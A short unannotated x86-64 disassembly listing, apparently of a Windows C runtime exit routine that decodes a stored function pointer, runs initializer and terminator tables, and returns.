cmp word [rcx + 0x18], ax
jne 0x140012f1c
cmp dword [rcx + 0x84], 0xe
jbe 0x140012f1c
cmp dword [rcx + 0xf8], esi
je 0x140012f1c
mov ecx, r14d
call fcn.140013064
mov ecx, 2
call fcn.1400141e0
nop
cmp byte [0x140026420], 0
jne 0x140012fe6
mov r15d, 1
mov eax, r15d
xchg dword [0x140026410], eax
test ebx, ebx
jne 0x140012f8f
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140026418]
cmp rcx, rax
je 0x140012f86
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140011490]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140026460]
jmp 0x140012f9b
cmp ebx, r15d
jne 0x140012fa1
lea rcx, [0x140026478]
call fcn.140013690
nop
test ebx, ebx
jne 0x140012fb8
lea rdx, [0x14001b2e8]
lea rcx, [0x14001b2c8]
call fcn.140012ddc
lea rdx, [0x14001b2f8]
lea rcx, [0x14001b2f0]
call fcn.140012ddc
movzx eax, byte [0x140026420]
test esi, esi
cmove eax, r15d
mov byte [0x140026420], al
jmp 0x140012fe6
mov ecx, 2
call fcn.140014234
test esi, esi
jne 0x140012ffd
mov ecx, r14d
call fcn.140013018
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140012eac